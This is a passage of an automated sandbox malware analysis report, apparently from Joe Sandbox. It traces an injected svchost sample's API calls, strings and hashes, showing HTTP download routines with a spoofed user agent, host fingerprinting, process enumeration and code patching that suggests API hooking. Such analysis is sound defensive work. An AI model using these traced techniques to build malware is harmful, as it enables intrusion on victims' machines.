                                                                                                                                                                                                            • HttpQueryInfoA.WININET(00000000,20000013,00000000,00000004,?), ref: 02C83B7F
                                                                                                                                                                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83BB3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83BD7
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000), ref: 02C83BDA
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83BF2
                                                                                                                                                                                                            • InternetReadFile.WININET(00000000,00000000,00001000,00000000), ref: 02C83C0F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02C83C30
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C39
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C83C3C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C49
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C83C4C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C5A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C83C5D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C6A
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C83C6D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C83C83
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C83C94
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02C83D10
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C83D13
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83D20
                                                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000000), ref: 02C83D23
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02C83D2D
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02C83D3A
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02C83D44
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C83A79
                                                                                                                                                                                                            • 325b0ba3454dc65e, xrefs: 02C83B22
                                                                                                                                                                                                            • POST, xrefs: 02C83ABD, 02C83AD3
                                                                                                                                                                                                            • Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C83B27
                                                                                                                                                                                                            • GET, xrefs: 02C83AB6
                                                                                                                                                                                                            • Content-Type: application/x-www-form-urlencoded, xrefs: 02C83B05
                                                                                                                                                                                                            • Referer: http://www.google.com, xrefs: 02C83B14
                                                                                                                                                                                                            • HTTP/1.0, xrefs: 02C83ACD
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$HttpInternet$HandleRequest$Close$FileFreeHeadersValidate$Open$AllocateConnectCreateInfoInformationQueryReadSendWrite_snprintfmemset
                                                                                                                                                                                                            • String ID: 325b0ba3454dc65e$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
                                                                                                                                                                                                            • API String ID: 4276495747-3557604321
                                                                                                                                                                                                            • Opcode ID: 51e6f5eccb3457e7495455a5e4831cf5c557961665de695fa89b0146f4495580
                                                                                                                                                                                                            • Instruction ID: 03b87ba596479fec21a927c15e461ff520d988b86805412e4964db04f359d503
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 51e6f5eccb3457e7495455a5e4831cf5c557961665de695fa89b0146f4495580
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8951B771A802847BEB219F50CC49FEB7B68EF84B18F104698FA05B71C0D7B0AA55CB65
                                                                                                                                                                                                            Function 02C83695 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 173memorynetworkfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 1247 2c83695-2c8369c 1248 2c836a0-2c836b1 1247->1248 1249 2c836b3 1248->1249 1250 2c836b5-2c836bc 1248->1250 1249->1250 1250->1248 1251 2c836be-2c836ee call 2c86c40 InternetOpenA 1250->1251 1254 2c839ad-2c839b5 1251->1254 1255 2c836f4-2c8370c InternetConnectA 1251->1255 1256 2c8398f-2c8399f InternetCloseHandle 1255->1256 1257 2c83712-2c8371a 1255->1257 1258 2c8371c 1257->1258 1259 2c83721-2c8373e HttpOpenRequestA 1257->1259 1258->1259 1260 2c83744-2c8374e 1259->1260 1261 2c83985-2c8398c InternetCloseHandle 1259->1261 1262 2c83750-2c83753 1260->1262 1263 2c83764-2c83776 HttpAddRequestHeadersA 1260->1263 1261->1256 1262->1263 1264 2c83755-2c83762 HttpAddRequestHeadersA 1262->1264 1265 2c837a8-2c837bb HttpSendRequestA 1263->1265 1266 2c83778-2c837a6 _snprintf HttpAddRequestHeadersA 1263->1266 1264->1263 1267 2c8397b-2c83982 InternetCloseHandle 1265->1267 1268 2c837c1-2c837db HttpQueryInfoA 1265->1268 1266->1265 1267->1261 1268->1267 1269 2c837e1-2c837e8 1268->1269 1269->1267 1270 2c837ee-2c83814 CreateFileA 1269->1270 1270->1267 1271 2c8381a 1270->1271 1272 2c83820-2c83834 GetProcessHeap HeapAlloc 1271->1272 1273 2c8383a-2c83867 memset InternetReadFile 1272->1273 1274 2c838c3-2c838c5 1272->1274 1277 2c83869-2c8386e 1273->1277 1278 2c838a7-2c838b5 GetProcessHeap HeapValidate 1273->1278 1275 2c838ea-2c838fe call 2c76570 1274->1275 1276 2c838c7-2c838db GetHandleInformation 1274->1276 1286 2c83978 1275->1286 1287 2c83900-2c8390a 1275->1287 1276->1275 1280 2c838dd-2c838e1 1276->1280 1277->1278 1282 2c83870-2c83894 WriteFile GetProcessHeap HeapValidate 1277->1282 1278->1274 1279 2c838b7-2c838bd GetProcessHeap HeapFree 1278->1279 1279->1274 1280->1275 1283 2c838e3-2c838e4 CloseHandle 1280->1283 1282->1272 1285 2c83896-2c838a2 GetProcessHeap HeapFree 1282->1285 1283->1275 1285->1272 1286->1267 1288 2c83910-2c8391e 1287->1288 1288->1288 1289 2c83920 1288->1289 1290 2c83922-2c83933 1289->1290 1291 2c83935 1290->1291 1292 2c83937-2c8393e 1290->1292 1291->1292 1292->1290 1293 2c83940-2c8396a call 2c86c40 call 2c764d0 GetProcessHeap HeapValidate 1292->1293 1293->1286 1298 2c8396c-2c83972 GetProcessHeap HeapFree 1293->1298 1298->1286
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),02C76406,00000000,00000000,04000000), ref: 02C836E1
                                                                                                                                                                                                            • InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C836FF
                                                                                                                                                                                                            • HttpOpenRequestA.WININET(00000000,GET,?,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83731
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83762
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83771
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C8378E
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C837A6
                                                                                                                                                                                                            • HttpSendRequestA.WININET(00000000,00000000,00000000,00000004,00000000), ref: 02C837B3
                                                                                                                                                                                                            • HttpQueryInfoA.WININET(00000000,20000013,02C76406,00000004,02C76406), ref: 02C837D3
                                                                                                                                                                                                            • CreateFileA.KERNEL32(02C76406,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83809
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83827
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C8382A
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83842
                                                                                                                                                                                                            • InternetReadFile.WININET(?,00000000,00001000,00000001), ref: 02C8385F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02C83880
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83889
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8388C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83899
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8389C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838AA
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C838AD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838BA
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C838BD
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000001), ref: 02C838D3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C838E4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 02C8395F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C83962
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8396F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C83972
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02C8397C
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02C83986
                                                                                                                                                                                                            • InternetCloseHandle.WININET(00000000), ref: 02C83990
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C836DC
                                                                                                                                                                                                            • 325b0ba3454dc65e, xrefs: 02C83778
                                                                                                                                                                                                            • POST, xrefs: 02C8371C, 02C8372F
                                                                                                                                                                                                            • Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C8377D
                                                                                                                                                                                                            • GET, xrefs: 02C83712
                                                                                                                                                                                                            • Content-Type: application/x-www-form-urlencoded, xrefs: 02C8375C
                                                                                                                                                                                                            • Referer: http://www.google.com, xrefs: 02C8376B
                                                                                                                                                                                                            • HTTP/1.0, xrefs: 02C83729
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$HttpInternet$HandleRequest$Close$FileFreeHeadersValidate$Open$AllocConnectCreateInfoInformationQueryReadSendWrite_snprintfmemset
                                                                                                                                                                                                            • String ID: 325b0ba3454dc65e$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
                                                                                                                                                                                                            • API String ID: 4235660723-3557604321
                                                                                                                                                                                                            • Opcode ID: f792555316b6eb55b19c4c9f6b3892df755008ce3cf4a75a5b66fb121d0ac0ad
                                                                                                                                                                                                            • Instruction ID: 14c700ebed10ca15fb36dad9405ebaab1b16be7677af05c9bd8b66d4237764b5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f792555316b6eb55b19c4c9f6b3892df755008ce3cf4a75a5b66fb121d0ac0ad
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5351A7719402847BEB219F54DC89FFB776CEF88B58F008658F905A71C0D7709A55CBA1
                                                                                                                                                                                                            Function 02C73100 Relevance: 45.7, APIs: 19, Strings: 7, Instructions: 181memoryregistryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C73126
                                                                                                                                                                                                              • Part of subcall function 02C934A0: memset.MSVCRT ref: 02C934D3
                                                                                                                                                                                                              • Part of subcall function 02C934A0: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02C934E2
                                                                                                                                                                                                              • Part of subcall function 02C934A0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02C934E9
                                                                                                                                                                                                              • Part of subcall function 02C934A0: memset.MSVCRT ref: 02C93501
                                                                                                                                                                                                              • Part of subcall function 02C934A0: GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C93518
                                                                                                                                                                                                              • Part of subcall function 02C934A0: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02C9351E
                                                                                                                                                                                                              • Part of subcall function 02C934A0: GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C9353F
                                                                                                                                                                                                              • Part of subcall function 02C934A0: StrChrIA.SHLWAPI(?,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C93566
                                                                                                                                                                                                              • Part of subcall function 02C934A0: lstrcpynA.KERNEL32(7736C3F0,00000001,00000104,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C9357A
                                                                                                                                                                                                              • Part of subcall function 02C935A0: memset.MSVCRT ref: 02C935D4
                                                                                                                                                                                                              • Part of subcall function 02C935A0: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02C935E3
                                                                                                                                                                                                              • Part of subcall function 02C935A0: HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02C935EA
                                                                                                                                                                                                              • Part of subcall function 02C935A0: memset.MSVCRT ref: 02C93602
                                                                                                                                                                                                              • Part of subcall function 02C935A0: GetComputerNameA.KERNEL32(00000000,00000104), ref: 02C93619
                                                                                                                                                                                                              • Part of subcall function 02C935A0: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02C9361F
                                                                                                                                                                                                              • Part of subcall function 02C935A0: GetComputerNameA.KERNEL32(00000000,00000104), ref: 02C93640
                                                                                                                                                                                                              • Part of subcall function 02C935A0: StrChrIA.SHLWAPI(?,?,00000000,00000000,?,?,?,?,00000000), ref: 02C93667
                                                                                                                                                                                                              • Part of subcall function 02C935A0: lstrcpynA.KERNEL32(00000000,00000001,00000104,?,00000000,00000000,?,?,?,?,00000000), ref: 02C9367B
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104,?,?,76232F70,7736C3F0), ref: 02C73164
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,?,76232F70,7736C3F0), ref: 02C73171
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,76232F70,7736C3F0), ref: 02C73188
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00000101,?,?,?,76232F70,7736C3F0), ref: 02C731AE
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,InstallDate,00000000,?,02C8598D,?,?,?,76232F70,7736C3F0), ref: 02C731CF
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,76232F70,7736C3F0), ref: 02C731D9
                                                                                                                                                                                                            • CharUpperA.USER32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C731F4
                                                                                                                                                                                                            • CharUpperA.USER32(00000000,00000000,?,?,76232F70,7736C3F0), ref: 02C731F8
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C73210
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C7326F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,76232F70,7736C3F0), ref: 02C7329E
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732A7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C732B3
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732B6
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C732C6
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732C9
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C732D5
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732D8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$memset$Name$CharComputerErrorFreeLastUpperUserValidate_snprintflstrcpyn$AllocAllocateBackslashCloseEnvironmentInformationOpenPathQueryValueVariableVolume
                                                                                                                                                                                                            • String ID: %02X$%45%4E%47%49%4E%45%45%52%21%38%39%39%35%35%32%21%45%37%45%33%44%32%32%36$%s!%s!%08X$user!899552!E7E3D226$InstallDate$Software\Microsoft\Windows NT\CurrentVersion$SystemDrive
                                                                                                                                                                                                            • API String ID: 3299431409-6769214
                                                                                                                                                                                                            • Opcode ID: d38a91d1cd869895afa98e9374dd89f463f3843179b0f578fd39ad50b8d3b4bd
                                                                                                                                                                                                            • Instruction ID: 75e312b9e7ffe3699f6f3bebc38541af77f4571995b644781dfedd3aa8380b83
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d38a91d1cd869895afa98e9374dd89f463f3843179b0f578fd39ad50b8d3b4bd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9A51C6B1E40295ABDB11CBA59C89FEBBBBCEF84704F0445D5E905E7141E7709A048BA0
                                                                                                                                                                                                            Function 02C88DD0 Relevance: 37.7, APIs: 25, Instructions: 190threadmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02C88DF6
                                                                                                                                                                                                            • GetThreadPriority.KERNEL32(00000000,?,02C890E0,00000000,00000000,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88DFD
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C88E06
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(02C890E0,00000008,00000040,?,?,02C890E0,00000000,00000000,?,?,?,?,?,?,02C8839A,00000000), ref: 02C88E27
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00000012,00003000,00000040), ref: 02C88E46
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,00000012,00000040,?), ref: 02C88E62
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000000,00000004), ref: 02C88E78
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000004,-00000068), ref: 02C88E86
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000005,00000000), ref: 02C88E91
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000001,-0000009C), ref: 02C88EA4
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000002,-00000081), ref: 02C88EB5
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000003,-00000074), ref: 02C88EC4
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000004,-00000024), ref: 02C88ED3
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000005,-00000004), ref: 02C88EE2
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000006,?), ref: 02C88EEA
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000002,-0000009D), ref: 02C88EFD
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000003,-000000C2), ref: 02C88F0E
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000004,-00000004), ref: 02C88F1D
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000005,00000000), ref: 02C88F29
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000005,00000012,?,00000000), ref: 02C88F33
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02C88F3B
                                                                                                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 02C88F42
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02C88F7E
                                                                                                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 02C88F85
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(02C890E0,00000008,00000000,02C890E0), ref: 02C88F9F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ExchangeInterlocked$Thread$Virtual$Protect$CurrentPriority$AllocCountTick
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2984368831-0
                                                                                                                                                                                                            • Opcode ID: d3f7dda0078a9e01edefd51bce3e908dce26cac30e1425f2bbab246dbd9780e2
                                                                                                                                                                                                            • Instruction ID: f67128f16ff17653a9e34e1d7b9161699e35eac166b0b198bcee514057c584d9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d3f7dda0078a9e01edefd51bce3e908dce26cac30e1425f2bbab246dbd9780e2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 13517371941219EFE711AF74CC46FAE77ACFF49310F154928F986E3180DB3899518BA0
                                                                                                                                                                                                            Function 004020B0 Relevance: 36.8, APIs: 3, Strings: 18, Instructions: 81fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(\\.\KmxAgent,00000000,00000000,00000000,00000003,00000080,00000000), ref: 004021F3
                                                                                                                                                                                                            • DeviceIoControl.KERNEL32(00000000,86000054,000000B4,000000B4,?,00000004,?,00000000), ref: 00402223
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040222A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseControlCreateDeviceFileHandle
                                                                                                                                                                                                            • String ID: "$"$0$4$D$E$E$S$T$\\.\KmxAgent$d$e$g$m$m$s$t$t
                                                                                                                                                                                                            • API String ID: 33631002-3172865025
                                                                                                                                                                                                            • Opcode ID: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
                                                                                                                                                                                                            • Instruction ID: e7d083a3d342eb0d1741576d2c48f75b21a67eac2e30cb69abab2c03069a185e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 384184B0D01358DEEB20CF959988BDEFEB5BB04308F5081AED5186B281C7B90A89CF55
                                                                                                                                                                                                            Function 02C743E0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 199memoryprocessCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C74413
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,762335B0,00000000), ref: 02C7441E
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 02C74441
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C7445D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C74477
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02C744B0
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C744B7
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C744CB
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?,?,00000000,?), ref: 02C744FC
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104,?,?,?,?,00000000,?), ref: 02C74513
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C7457C
                                                                                                                                                                                                            • Process32Next.KERNEL32(?,?), ref: 02C7458B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleHeapProcessProcess32memset$AllocCloseCreateFileFirstInformationModuleNameNextOpenSnapshotToolhelp32_snprintf
                                                                                                                                                                                                            • String ID: %d%s$[System Process]$taskmgr{PIDProcess name
                                                                                                                                                                                                            • API String ID: 3808533164-4214784430
                                                                                                                                                                                                            • Opcode ID: d5d3fb5d249bcd83fd116b4f2903be2a5c7312a70a5c95f9b7e6c20cb0017866
                                                                                                                                                                                                            • Instruction ID: a58d1df14372a35efa8db0775b27ced9be746b89a85be76ce4bc9d0dd6485024
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d5d3fb5d249bcd83fd116b4f2903be2a5c7312a70a5c95f9b7e6c20cb0017866
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5661E171A44381AFD326DB24D848FA7BBF9EFC4704F048A58F89587240E770D608CBA2
                                                                                                                                                                                                            Function 02C96C70 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 187COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
